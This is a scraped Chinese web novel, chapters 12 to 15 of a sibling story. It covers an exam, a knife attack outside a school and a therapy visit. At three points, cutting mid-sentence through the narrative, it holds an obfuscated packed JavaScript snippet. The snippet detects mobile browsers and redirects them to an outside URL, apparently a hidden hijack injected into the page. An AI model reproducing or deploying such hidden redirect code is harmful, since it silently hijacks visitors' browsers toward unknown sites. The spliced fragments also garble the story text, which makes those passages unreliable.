他确实没有骗席见微,那张红纸上的祝福他是真的猜到了。毕竟他的哥哥那么好懂。 时间推着所有人变化,席见微的身高在变,样貌在变,甚至连性格都有了细微的变化,偶尔也会一本正经的调侃人。 可有些东西是不会改变的。像是人的掌纹,习惯,又或是十年如一日的情感。 那些长久不变的,让原本一无所知的猜测也能有迹可循。因为人在祝福他人的时候,总是爱传达自己的期许。 如果是父母在那张纸上写下祝福,他们应该会说。希望他身体健康,学习进步,未来能够前途无量。 要是再换作是齐榆,那这段祝福也许会变成,祝你早日长高,摆脱社交困难。 而席见微... 席亦抬眼,在落雪下,和他一起观赏新的一年的烟花。右手默默拉住了席见微垂下的围巾。 回应道:“新年快乐,哥哥。” 而席见微。 他希望他幸福。 12. 兄控(十二) 因为淋了雪,回到家后席见微的第一件事就是去洗澡。 时间已经很晚了,房间里的暖气发出微弱的声响,他收拾完踩着拖鞋出来的时候,没忍住打了个哈欠。 眯眼模糊的视线里,席见微看见有人站在房间里。 席亦应该也是刚洗完澡,身上的水汽未干,也不知道在外面站了多久。反正席见微一点声音都没听见。 他的手上还拿着一张厚实的纸,看见席见微出来后就递了过来。 接过来一看,是一张已经盖章同意了的跳级申请。 跳级这件事席亦很久之前就提了。但父母和老师都有自己的考量,一直拖到最近才妥协。 他们赶在过年之前帮他搞好了,还特地和压岁钱一起给了。 他养了席亦那么多年。席亦为什么想要跳级,席见微实在是太明白了。 所以刚得知这件事的时候,席见微的第一反应其实是担忧。 揠苗助长可不是好事。 那天晚上“辅导”作业的时候,席见微肉眼可见的心不在焉。 他纠结了半天,最后还是在席亦即将离开的时候,小声说:“不要为了追上我,去逼迫自己。” “况且。”他停顿了下:“就算你跳级上来,我们也只能在一个学校待一年而已呀。” 他想要认真和对方剖析利弊,可却忘记了,这世上有些人,或许天生就擅长用固执的感情来打破这一切。 “我知道。”当时的席亦停下了收拾卷子的手,片刻后说:“再等等我吧。” “......” 席见微虽然看着好说话,但其实是一个很有原则的人。 可不知道为什么,在面对席亦的时候,他的原则好像总是处于一个一闪一闪的状态。 对方一句轻轻的“再等等我”,就又立马让他对这件事缄默无言到现在。 他接过了席亦手里的申请表,仔仔细细看了眼。 然后用它遮着下半张脸,半真半假地问:“这是新年礼物吗?” 席亦愣了一下。 然后沉默地开始摸自己的各个口袋,最后从中递出来一份刚收到没多久,还没捂热乎的红包。 怎么能有人傻成这样啊... 席见微笑着接过了他的红包,却没有直接收起来,而是俯身问:“那小亦想要哥哥给你送什么新年礼物呢?” 他其实已经按照席亦的爱好,看好了一个投影机,里面还夹带私货的有一些饮食健康教育片。 就算席亦说也要个红包,他也能给对方多塞几百块回去。 但想法很美好,现实很骨感。 “那...今天晚上可以给我讲故事吗?”席亦想了想,开口说。 这个回答出乎席见微的意料,以至于他没反应过来。席亦一眼发现他的不自然,补了一句:“不可以吗?” 席见微:“...可以。” 但你怎么不按套路出牌。 ...... 为了方便联络,席亦在自己初一的时候,终于拥有了属于自己的第一部智能手机。 拿到手的手机里已经存好了父母和席见微的电话号码。 他按照教程在手机里下了个微信,然后对照着席见微的电话号码,去搜索好友。 但搜索出来的是一片空白。 席亦退回去又认认真真确认了一遍,没有输错号码,但点击搜索键,结果依旧是一片空白。 于是他走到楼上,敲响了席见微的门。 席见微在写他的初三试卷,听见声音,往椅背上一躺,仰着头说:“进来。” 席亦拧开了房间的把手,没走进来,站在门口把加好友搜不到人的事说了。 “好像是我关掉了那些搜索方式。”席见微回想了一下说,他拿过桌子边上的手机点了点:“现在再试试?” 席亦已经背下来那一串号码了,轻车熟路地输入进去,这次终于出来了用户。 用户名是Ww,头像是席见微当时在街上买的那个狐狸发卡。在边缘能看见他的指尖,应该是捏着拍的。 席亦点进头像大图又看了两秒:“为什么会想到关掉搜索。” “因为之前加好友的人太多了,就干脆关掉搜索方式了。”席见微说:“不过现在应该会好多了,大多都是一时热情。” 席亦想起自己刚到一中报道时,在荣誉墙上看见的那张席见微对着镜头微笑的照片,仅花了一秒就接受了这个理由。 但他并不觉得现在就会好多了:“我现在搜到了,哥哥你可以重新关掉了。” 席见微:“?” 他不太理解,但还是又点进微信关掉了搜索方式。 门又被重新关上。席见微切回去看了眼自己的好友申请,发现还没有动静。 等了两分钟后他就把手机放到一边,继续去磕那张数学试卷了。 等到所有作业都完成,席见微看了边上的钟,已经九点多了。 他关掉了桌子上的护眼灯,再按亮手机的时候,一条浮窗弹出来。 席见微点进去看了眼,等看清楚对方的昵称和头像的时候,没忍住抿着唇笑了下。 席亦也学着他,捏着那个撅嘴灰毛兔子,也咔嚓拍了一张照片当头像。乍一看角度都一模一样。 在加好友的界面里,席亦认真的打下了自己的名字。 席见微通过了他的好友申请后,也回了两条信息过去,于是手机里出现了这样的聊天记录。 【Yy】:我是席亦。 【Ww】:狐狸握手[jpg] 【Ww】:你好,我是哥哥^^。 ...... 中考在即,多年未曾出现的主系统却突然冒了出来,提醒席见微第二个剧情点的时间到了。 过去太久,席见微其实都忘记第二个剧情点是什么了。 主系统重新给他读了一遍:【在中学期间,你需要展现出自己没有学习天赋的一面,让席父把企业交给席亦。】 【所以中考的时候,稳妥起见,你得故意考差一点。】它总结说。 席见微的手一抖,手肘不小心打到了桌子边上的一叠东西,一瞬间,白晃晃的纸张散落到地上。 他弯下腰,慢慢去捡。 主系统这才看见,那是一摞卷子,而且是写完仔细改过错题的卷子。字迹娟秀,一看就知道很认真。 它的话突然就停下了。 席见微捡了十几张后,动作慢慢停住了。 或许是上一次游乐场的意外,给了席见微剧情并不是需要完全遵守的讯息。 此刻,他捏着卷子的一角,看着自己的字迹,头一次提出了异议: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393085|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 【真的不能违背剧情吗?我好像做不到故意考差。】 席见微说:【让一个接受了九年义务教育的人故意考差,这太残忍了。】 主系统第一次听见席见微用残忍来形容一件事:【真的?】 席见微终于把地上所有卷子都捡回来,小声说:【你可以去网络检索一下。】 主系统便真的去了,一开始检索,就不断有新闻跳了出来—— 【15岁中考失利,深夜街头崩溃哭泣。】 【中考失利惨遭父母痛骂,失眠、焦虑。】 ...... 一条条,看的主系统都觉得吓人极了,最后关掉了检索内容。 它开始犹豫,但剧情又不好违背,只能问席见微:【你的成绩怎么样,最近的一次是多少?】 平日里都是092在和席见微交流,它不算太了解席见微的情况。 “一般吧。”席见微轻轻说:“最近的一次,四百多分。” 事实是上一次统考的时候席见微生病了,有两门都没去考。 主系统觉得这个成绩,好像还在能接受的范围内。 席见微感觉出了它的犹豫,又垂着眼追问了一句:【...这次的剧情我可以不走吗?】 主系统透过虚空看着他。 它总是不在,所以092总是爱给它发席见微的照片,从他换牙齿,到皱着眉毛纠结事情,事无巨细。 可即便如此,当下如此清晰的见到当年那个安静的孩子,变成如今温和清秀的少年,它还是会晃神。 席见微的任务是陪伴主角长大,但这个过程中,它们其实也在变相的看着席见微长大。 看着他从一开始失去记忆,慢慢茫然摸索的样子。变成现在敢顺杆爬主动询问,这剧情能不能不走。 似乎只要他这么问,只要这样表示难过,系统就会退让一样。 ......系统确实退让了。 【好。】 ...... 两个月后,看见成绩的主系统,觉得自己当时真的是被席见微忽悠瘸了。 它动用了一点小特权,此时电脑里还查不见成绩,它就先跑到网络里面看见了。 等看见那串7开头的数字,主系统在脑海里没有情绪地问席见微:【你说的成绩一般,就是全市二十三?】 突然就被剧透了排名的席见微摸了下自己的鼻子:“我觉得挺一般的,这次是超常发挥了。” 主系统:【你最好以后好好鞭策一下你弟弟学习。】 席见微:【为什么?】 【要是他考差了,你、我,还有剧情都得出事。】 席见微:【......】 他们在这讨论未来的时候,席母终于查到了他的成绩,看见成绩的时候没忍住拍了好几下桌子。 席亦也凑过去看。 一群人反倒是席见微这个当事人最冷静。毕竟已经知道结果了。 【还有...】主系统停顿了一会,又一次不自然地开口。 “什么?” 【席见微。】它缓慢地说:【恭喜你取得了一个好成绩。】 “......” 席见微眨了下眼,背对着家人,在只有系统能看见的角落对着虚空,用手指画了一个可爱的笑脸。 谢谢你。 13. 兄控(十三) 初中老师管得不严,再加上席见微一直忘了抽时间去剪头发,等中考结束的时候头发已经长了许多。 夏天气温太高,就算屋子里开着空调,披着头发也显得燥热。 席见微从网上网购了一堆皮筋,各种款式混合在一起发货,一个个挑能看花眼。 他从里面随手拿了一个,把脑后的头发拢了一下,草率地绑了一个丸子头。然后把那些皮筋放到了一个小盒子里收纳好。 但这些“收纳”好了的东西,没过几天,就蔓延到了房子的各个角落。 席见微还没习惯这种时时刻刻扎着的感觉。觉得没那么热了之后,就又把头上的皮筋取下来。 再想起来的时候,已经找不到东西在哪里。 虽然阿姨收拾屋子的时候看见就会帮他放回去,但还是没能阻止那盒子里面的东西越来越少。 席母给他提了一个建议,让他把一些皮筋放在固定的地方。房间的某个地方,衣服口袋,又或是包里。 这样好歹要用的时候能找着。 席见微闻言认真的点了下头。他考虑了很多地方,最后却拿着东西,敲响了席亦的房间门。 他想的很简单,他又不是时时刻刻都呆在家里,也不是每一次都会穿同一件衣服,背同一个包。 可席亦不一样,席亦一直在身边。 听完理由后的席亦接过东西,说了句好,就戴在了手腕上。 这个方法立竿见影,在摸摸口袋找不到皮筋的时候,身边的席亦就会适时递过来一个。 书上说养成一个习惯最少需要二十一天,但现在的席见微觉得,那估计只是针对一些好的习惯。 因为这才过了几天,他就习惯了在找不到绑头发的皮筋的时候,下意识去摸席亦的手腕了。 今天阿姨有事没在家里做饭,家里大人又没下班,席见微两个人就跑到附近一家私房菜馆去吃饭了。 他刚从席亦的手腕上顺走一根皮筋,把自己头发绑了一下,边上就爆发出一阵争吵声,不知道为什么吵了起来。 席见微偏头看过去,顺道听了两嘴,但奈何那边方言口音有点重,听不真切。 席亦坐在旁边,只能看见席见微脑后那个松松垮垮的丸子头,还随着空调风一晃一晃的。 他抬手,轻轻戳了一下那个丸子头。 席见微没有反应,还在专心看那边的热闹,于是他又去戳了下。 可就在伸出手过去的时候,席见微看完了热闹转头过来,那根手指就落在了一个意料之外的地方。 他的指尖抵着席见微的脸颊,按出一个坑。 两个人一齐愣住了。 率先反应过来的席见微把自己的脸往边上挪了点,离开了席亦的手,然后低头张嘴装作要咬。 慢半拍的席亦终于把手收了回来,刚准备解释,碗里就被夹了筷东西。 桌子上的菜都是两个人爱吃的,席见微挑挑拣拣,才从配菜的边角料里找出了块胡萝卜。 放进席亦碗里后,席见微学着他刚刚的动作,非常严肃地在他的脸上也戳了个坑。 意思很明显。 席亦:“......” 觉得理亏的席亦低头咬了一口。 看见他的动作,席见微装不下去了阻止道:“逗你玩的,没生气呢别吃了。” ...... 没有作业的轻松暑假就这样过去了,第一天高中生活,就给了席见微当头一棒。 他来的有点晚,教室里人乌泱泱的,老师人也到了。 幸好陈知远一大早就被父母拽来学校报道,还给席见微占了个位置,看见他到了疯狂招手。 席见微看了看那个位置,不前不后,边上靠窗,选的相当好。 他坐下之后,发现书已经提前发下来了,刚随手翻了几本看看,讲台上的老师就敲了一下黑板。 班主任强调了一下高中的作息,还有早晚自习的时间。告诉他们要穿校服,保持规范的仪容仪表。 说完,他扫视一圈台下的学生,突然笑眯眯地开口:“最左列第四排靠窗的那个男生,你起来一下。” 一瞬间,前面的人都回头来看。席见微数了数排数发现还真的是自己,他站了起来轻声说:“老师好。” “你叫什么名字?”班主任问。 席见微老老实实地报上了自己的名字。 班主任翻了翻花名册,终于对上了人:“前几天主任说给我们班分一个能当状元的苗子,我还以为他和我开玩笑呢。” 席见微不知道该说什么,抿着唇有点尴尬的笑了下。 下一秒,对方话锋一转:“虽然成绩很好,但是席同学,你的这个发型就有点不符合学校标准了。” 他说完这句就让席见微坐下来,俯身打开了身后的白板,上面有一张学校男女的发型要求。 陈知远看着那示范图片上丑的要死的发型,又看看边上的席见微。 深谙自家好友颜控的他紧张发问:“你怎么办啊。” 席见微用书挡在前面,有点欲哭无泪地说:“...我也好想知道。” 没办法,虽然觉得很完蛋,但席见微也只能在周末找了一家口碑好的店剪头发。 剪之前那个理发师和他反复保证,会给他一个即符合学校要求,又好看的理想发型。 席见微对此很怀疑,他觉得如果完全按照那张示范照片上剪,这世上不会再有任何一个好看的人。 剪头发只花了一个小时,结束后席见微睁开眼睛,还是有点难以适应镜子里的自己。 理发师没完全按照那张照片剪,而是细微的调整了下。不难看,甚至比起之前的样子要更清爽点,突出了那股子少年人的俊秀。 理发师看着他小心翼翼的样子,调侃说:“怎么样没骗人吧?毕竟小朋友你脸摆在这里,我要真给你剪丑了也可以关店了。” 席见微没说话。 头发剪短后,后颈就有点凉飕飕的。他垂眼摸上去,看着地上的碎发,替自己的头发默哀了两秒。 ...... 早晨。 席亦洗漱收拾好下楼时,家里就只剩下了阿姨一个人。 他没有选择在家吃饭,而是拿走了桌上放着的热牛奶和面包,背着书包上了司机的车,坐到了学校。 跳级之后齐榆本来是想要一起跟上来的,但他成绩就一般,家长死活没同意,到现在都还比他低一届。 而正因为这个,席亦在新班级的同桌自然就换了一个。 那是一个有点沉默的女生,两个人坐在一起除了偶尔问问思路,其他时候几乎不说话。 连微信聊天记录都是互推教辅资料。 赶在上课之前,席亦把拿来的早饭解决掉了,同时无聊地刷了一张卷子。 今天上午其他课的老师调课了,连上四节数学课,最后打铃放学的时候,班上的人简直是喜极而泣。 才过两分钟,班上的人就快要走空了。席亦在去食堂吃饭之前,跑到走廊尽头洗了个手。 撩起卫衣袖子的时候,才看见自己手上戴着的两条皮筋。 应该是他今天匆忙起床的时候,下意识从柜子上捉走,戴到手上的。 但席见微的头发已经剪了快一周了, 盯着那两条皮筋,席亦甩干了手上的水,鬼使神差地拿出手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393086|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对准自己的手腕拍了一张照片。 然后发到了朋友圈,没有配文字。 他上一条朋友圈还是两个月前发的。 放学了,大家基本都在玩手机,不一会,就有消息红点冒出来,都是同学的点赞。 第一个评论的是齐榆。 【木鱼:你这拍照技术真的是堪忧。】 【木鱼:还有你这啥意思?不配文字装高冷吗?!】 席亦看的头疼,思考着要不要把朋友圈删了,刚准备动手的时候,就看见特别关注发来了一条消息。 【Ww:怎么还带着?】 他打字回复。 【Yy:好像习惯了。】 【Yy:兔子趴下[JPG]】 ... 吃完饭回到教室的时候,午休就快要结束了。 席亦趴在桌子上眯了一会,醒来又迎来了自己连续三节的语文课。 上到最后一节课的时候,他还是没忍住从抽屉里抽出了其他科的卷子开始写,直到下面突然传来熟悉的声音。 齐榆最后一节课是体育课,提前下课了几分钟,现在就在席亦教室楼下等人。 席亦从窗户边往下一看,他就嘚瑟地打了个招呼。 “......” 这老师有个优点,就是不拖堂,讲到一半了也能说收就收。到了点就拿起自己的杯子往外走。 收拾书包准备下楼的时候,那个平时不和他说话的同桌突然一反常态地主动问:“你是谈恋爱了吗?” 席亦:“?” 虽然初中生年纪还小,但也算步入了青春期,有些早熟的已经谈起了恋爱。这不是什么稀奇事,席亦有时候还能撞见。 他只是不理解为什么这个话题会扯到他身上。 他的不说话好像是给了对方一点肯定的讯息。 同桌情真意切地说:“放心吧,我肯定不会告诉老班,你们一定要一直在一起啊!” 谈恋爱好啊,谈恋爱分心,谈恋爱她就不用一直当万年老二,能去第一坐坐了。 她留下这么一句话就走了,只剩下席亦一头雾水。想了半天也没想明白,只能背着书包下了楼。 齐榆正焦急的在楼下来来回回走。 看见席亦下来后,他点着手表不满道:“你看,我在下面等了你十多分钟!你再慢点我们学校保安都得走了。” 席亦边往外走,边和他解释:“有点事耽搁了。” 齐榆跟了上来,但他明显不信:“你能有什么事耽搁,你们班主任舍得留你吗?” “...刚刚放学的时候,有人问我,是不是谈恋爱了。”席亦说完顿了下,疑惑地回头问:“她为什么会这么觉得?” 齐榆听完先是愣了下,然后两步并做一步到了席亦面前:“不是吧,你真不知道假不知道啊?” “我现在终于释怀你背着我跳级的事情了。”齐榆笑得肚子痛:“看见你情商低成这样我就放心了。” “所以到底为什么?”席亦还是不理解。 “还能为什么,看见你朋友圈了呗。”齐榆还以为是什么大事,听完后发现简直简单的过分,很快就给了答案。 席亦的脚步一慢。 “毕竟大家都只会把自己喜欢的人的皮筋戴在手上。”齐榆摊着手,清清楚楚地说:“谁知道你不是呢?” 他转身走在前面,难得有件事能比席亦更懂,一时间絮絮叨叨地停不下来。可身后却很安静,连脚步声都听不见。 齐榆终于发现不对劲了,疑惑地回头,发现对方居然还站在原地。 席亦摸着手上那条皮筋,不知为何,沉默着没有说话。 14. 兄控(十四) 下午的月考结束后,学校取消了席见微他们的晚自习,还顺带提前放了个学。 一出校门,他就按照惯例,给席亦拍了张照片过去,然后打字:【今天提前放学了。】 这个惯例,席见微也忘记了是什么时候开始的。 席亦刚拿到手机的那段时间,他们还在一个学校,上下学都一起。因此两人并不是经常发消息,有事当场就能说了。 但换了个学校后,席亦那边发消息的频率明显高了很多。 从上下学的时间,到吃了一顿不太好吃的午饭,偶尔还会发点题过来问。 席见微也不觉得烦,一条条回过去。 久而久之习惯了这种频率,也开始学着席亦的样子去发消息。 几条消息甩过去,手机置顶框里那个平时都会秒回的用户,此刻却异常沉默。 席见微看了看顶上的时间,突然意识到还没到席亦放学的时间。 他在原地站着,从考场出来的陈知远一眼就看了,凑上来问:“站着干嘛呢?” “放学这么早,你去我家里玩会怎么样。我最近才买了一套游戏机,我们俩联机一定能过!” 席见微本来是有点蠢蠢欲动的,但听到后半句直接放弃了。 因为陈知远的游戏技术,实在是...不敢恭维. “下次吧,下一次我陪你。”席见微把手机收起来,看起来认真又真诚地说:“我觉得我得去接一下我弟。” 对他太过了解的陈知远,根本就不吃他卖乖这一套:“...嫌弃我游戏技术就直说,不用找借口。” 席见微冲他轻轻笑了下。 陈知远没招了,摆摆手:“行了行了,你去吧。” — 席见微本来只是应付陈知远一句,但走到半路,突然改了想法,居然真的跑到了初中门口去等人。 毕竟是他呆过的学校,自然是对周边熟悉的不行。 席见微在街上买了两份红豆饼,给席亦也带了一份。 这家饼是一个老婆婆开的,平时一放学学生就排起长长的队,现在倒是方便了。 他扫了钱过去,婆婆就利索地帮他打包了。 等买完之后从小街里走出来,学校已经放学开门了。席见微下意识打开手机。 好吧,Yy依旧没回消息。 他往前走了两步,准备去初中门口等人。可还没走到地方,就听见了边上一声女生的尖叫声。 那声叫像是开了个头,后面的尖叫声混着崩溃的哭声,一齐席卷过来。 学生一下从那边往外跑,席见微隔着人群,模模糊糊听见了“刀”、“发疯”这样的词。 预感是一种很没道理的事情,明明他还根本不知道那边发生了什么,但心脏却像是被人捏了一把,突然狠狠收紧。 手上拎着的红豆饼掉在了地上。 ...... 齐榆手指颤抖的在手机上打下报警键,声音发抖,冲着周边大声喊:“有没有人帮帮忙啊?来个人帮个忙啊!” 那片无人敢踏足的中空地带,站在一个矮小的中年男人。 他手上持着一把带锈迹的刀,小小的眼睛里血丝遍布,隔的远远的就能闻见酒味。 这男人是在学生放学的中途突然发疯的,本来是将刀刃对准了一个女学生。 但在掏刀的瞬间,被席亦看见了,眼疾手快的把那个女学生拉到了一边。 失败了后的他,就把目标转向了破坏他事情的席亦。 这一片大多都是初中生,拿出刀之后人群开始尖叫逃离。席亦在对方冲过来的时候,把身边的齐榆给推远了。 席亦现在只能模糊的听见周围的声音。 对面步步紧逼的脚步渗透而来的白酒味,和刀尖的反光,几乎占据了他所有的感官。 他躲了好几下,校服下摆被划破了一道。现在被逼到了最边上,脊背靠上坚硬的墙壁。 比起外面的那些人,他已经算得上镇定了。但终归也只是一个小孩子。 退无可退的时候,偏头闭上了眼睛。 可预料之中的疼痛并没有到来,就连对方的脚步声都被另一阵凌乱的声音打散。 再次睁开眼时,原本还能勉强保持冷静的席亦,看见挡在面前的身影后,大脑轰隆一下直接空白。 在这个压根没可能会出现的时间,席见微偏偏就是出现在了这里,站在他的前面,伸出手把他严实地护在身后。 席见微平时给人的印象都是温柔的,甚至还带着点易碎感。 可现在挡在他前面,却显出一种前所未有的坚毅。 092在脑海里焦急的实时汇报:【警察最多还有五分钟就会过来了!】 这个闹事的人,即便是喝了酒神志不清,也只敢选择女生,或者席亦这个个子不算高的初中生。 而在面对席见微这个身高几乎和他持平的男生时,反倒非常明显的犹豫了。 席见微盯着他手上的刀,表情冷静到了简直可以称得上冷漠。咬字清晰地说:“警察马上就要过来了,你跑不掉了。” “如果你现在放下刀退回去,我们可以考虑不追究你的责任。” 这男人被这冷硬的态度吓了下,刀尖无意识地往下偏移了两分。 他愣了一秒,像是在思考。但很快,生锈的大脑就告诉他这不可能。 反应过来后,他想要重新举起刀威胁。但那停顿的一秒,已经足够了。 席见微攥着他的手腕把刀往下摁,忍着那股令人不适的味道,反手用手肘在他的后脑勺狠狠地猛击了两下。 这几下还是当初在学校武术课老师教的,他下了死力,震得手肘处都发疼发麻。 这个中年男人的身体本就虚浮,被烟酒掏空了。被席见微全力在脑后来了一下,瞬间天旋地转,再握不住手上的刀,倒了下去。 随着他“砰”地一声倒地,警笛声终于在边上响起,人群打开一条通道。 一群穿着警服的警察冲了过来,先确认了眼两个人的安全。就把地上那个试图爬起来的男人给死死扣上,压上了警车。 席见微这才终于松了一口气。他腿软地往后跌了两步,胡乱抓住了身后的席亦的手。 用劲过大,他的手很冷,乍一摸上去像是一块冰。 但席亦的手其实也没有好到哪里去,他们的手指勾在一起,在这个时刻共享了彼此的温度。 席亦耳朵里的声音慢慢恢复,像潮水一样涌过来,他往前俯身,将额头靠在了席见微的背上。 连续嗡鸣的警笛声里,他看着席见微的手,突然想起在很小的时候看见的,那些电视里的宣传语。 那里面说,遇到危险要马上报警,警察会第一时间出现保护你。 但事实并不完全是这样的。 席亦想。 当危险来临的时候,最先出现的是我哥。 ...... 席见微和席亦作为受害者,也被带到了警局。他们在警局里给父母打了电话后,两个大人就火急火燎的跑了过来。 即便席见微说了他们两个都没受伤,席母还是紧张地把两人都来来回回看了一遍。 确认真的没事后,才捂着嘴平复了下情绪。 随后,那个中年男子的亲属也到了警察局,想要和席母他们私了。 但席父席母的态度都很强硬。 对方意图伤人已经证据确凿,他们不接受调解和私了,一定要送这种人去坐牢。 他们和警察在里面说话的时候,席见微和席亦两个人就呆在了外面。 边上的女警官看他们脸白,给他们递了杯温水,席见微接回来,抿了一口,手终于开始回温。 他捧着杯子往边上看了一眼,发现席亦正低着头不知道在想什么,头发微微遮住眉眼。 刚刚面对那个中年男人的时候看起来还挺冷静的,现在事情结束,却垂着头,一副有点难过后怕的样子。 但这再正常不过了,当时那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17393087|200326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情况,连有092帮忙指挥的席见微都胆寒。 席亦再怎么成熟也只是初中生,肯定会被吓到。 女警察给他们递完热水就去忙其他的事情了。 “小亦。”席见微盯了席亦很久,突然开口,冲他招了下手。 席亦下意识抬头,手上的水都差点撒了。他看见那个招手的动作,把杯子放好,走到了席见微的面前。 他还没有来得及问怎么了,对方就抱住了他。 席见微在他的脊背上轻轻拍了几下,然后小声告诉他:“现在不用害怕了。” ...... 这件事过后的几天,席亦的状态都不太对。 席母在半夜起来喝水,偶然间看见他房间里的灯还一直点着。 第二天起床的时候,席亦眼下的乌黑明显,一看就知道没睡好觉。 除此之外,他好像变得不怎么说话了。 虽然平时他在家里的话也不是很多,但最近明显更沉默,像是在自己想些什么,问一句话要反应很久。 担心的席母去网上咨询了下医生。 医生回复说这可能是PTSD反应,如果情况的确不乐观,可以带来心理咨询室进行短期治疗。 席亦在听见席母的建议后,没有抗拒,答应了下来。 去医院的那天晚上,席见微也特意请了个假,陪着席亦一起去到了那家医院。 他们有预约,到了之后就直接可以进去了,不用再在大厅等。 在心理咨询室里,席亦见到了那位姓张的女医生。 她看起来三十出头的年纪,是一眼看过去很舒服的长相,说话时好像一直都带着笑容。 明明资料上都有,但她还是先询问了席亦的名字和年龄,然后聊起了一些轻松的问题。 十几分钟后,话题好像才开始步入正轨。 她开始和席亦谈论起了前几天的事情。在这个过程中告诉他,在经历了这种时候,出现不安和焦虑是一种很正常的情况。 闻言,席亦的指尖蜷缩了下,然后认真地说:“我认为我还没到不安和焦虑的情况。” 张医生说:“我接触过很多患者,他们在心理问题出现时往往都意识不到。时间还长,我觉得我们可以再聊聊,最后决定这一点。” 席亦沉默了,于是话题又被再一次拉回来。 在这么不疾不徐地聊了两个小时后,咨询的时间到了。 张医生在纸上落下最后一个字,抬头看向对面那个男生。 在整个聊天的过程中,对方出现了很多像垂眼,摸手指之类的举动,这是一种后怕的表现。 但在她问起当天的事时。他又并未对那些细节和经历刻意回避,陈述时也属于一个良好稳定的状态。 不可否认,那件事确实对他造成了影响,但并不多。而且对方明显消化的很好,没有留下什么心理问题。 还真的就和他开头说的那句话一样。 难得这么轻松的收一次工,张医生看着即将离开的席亦,说道:“你的家人应该在大厅那边等你,出门之向往右一直走就能看见了。” 席亦站起来,回道:“好,谢谢您。” 看着他挺直的背影,张医生抖开了边上那张原定的治疗方案,突然开口。 “一般的PTSD患者,我们都会建议他去寻找一个精神寄托或者支柱,来帮助对抗自身的不安与恐惧情绪。” “不过你看起来已经找到了,方便我问一下是什么吗?”最后一刻,她声音轻柔地说。 “......” 席亦没有回答她的问题,而是直接拧开了心理咨询室的门。 医院的灯光显得苍白,但却照得一切细节都无所遁形。 门打开后,空荡荡的走廊里只有一个人。 对方的影子被灯光拖长,一直到席亦脚边。 席见微就坐在离诊疗室门口对面的椅子上。等待的时间太长,他把脸靠在膝盖上,闭着眼睡着了。 15.兄控(十五) 席见微最后是被席亦叫醒一起回的家的。 到家之后,医生给席母发了消息,告诉她们不用过分担心,席亦后面也可以不用再来进行心理咨询了。 不知道是不是心理作用,后面的日子,席亦看起来确实要好了点。 虽然还是寡言,但比起之前那种迟钝的状态,就显得正常得多了。 席见微有时写卷子到凌晨,睡觉前还会特意出来,看一眼隔壁房间,直到确认灯是暗着的才安心回去。 _ 高二生的周末就跟没有似的,熬了许久,才好不容易等到了一个五一长假。 在放假前几天,班上的同学就已经开始计划要去哪里玩了。 陈知远最近隐隐有了一点谈恋爱的苗头。对象不是他们高中的学生,而是一个隔壁市的网友。 虽然样貌未知,具体情况未知,但就是这么聊上了。 不用问就知道,他五一假期多半得和那个网友打电话畅聊了。 席见微趁着下课的时间,想给席亦发个消息询问,就看见对面已经提前发了过来:【五一有安排吗?】 Ww:【有哦。】 Yy :【...?】 Ww:【不是要和你一起出去玩吗?^^】 那边一直显示正在输入中,却没发过来一条消息,哪怕是个表情包。 席见微终于放弃逗人玩,认真打字问:【出去玩你有什么建议的地方吗?】 这次对面就回得快了很多。 Yy:【我也没想好,哪里都可以。】 他们在这发消息一来一回的时间,前桌的两个女生已经把五一能去的地方写满了一页纸了。 席见微抬头就看见她们在慢慢筛选排除,没忍住递出巧克力贿赂,虚心求教。 “问就问递什么东西啊。”其中一个女生转过身来说:“你有什么要求不,我们帮你参考一下。” 席见微想了想:“最好是一个比较轻松愉快,不要太多运动的。” 说完,他又补了一句:“还要安静一点,他比较怕吵。” “你这...多半不是和陈知远一起出去吧。”女生听完他的要求,摸了摸下巴说。 席见微不知道她为什么会问这个,但还是如实摇了摇头。 那个女生一副“我懂”的样子,笑而不语地打开微信好友对话,给他甩了一个定位地址。 席见微有点懵。 ...... 五一当天,席见微和席亦绕了好几个巷子,终于按照导航的地址,站在了一家猫咖店前。 席亦先走上前推开了门。 这家店刚开业,加上位置比较偏僻,里面的客人很少。 但里面的小猫都很漂亮,一听见门上挂着的挂铃响,就纷纷跑过来,在门口围着他们打转。 毛茸茸的尾巴在脚边一扫一扫的,席见微蹲下去,在最近的那只英短下巴上摸了两把,它就躺下来露出了肚皮。 老板走了过来,笑着说:“我们店里面的猫都很亲人的,还有逗猫棒和猫条,你们需要吗?” 席亦跟着店老板去了前台,要了逗猫棒和两根猫条。等付完钱回头,觉得其实也没有什么买的必要。 因为席见微已经要被猫给围住了。 他坐在一个懒人沙发上,怀里还抱着那只英短。其他的小猫就扒拉那个懒人沙发,试图跳到席见微身上。 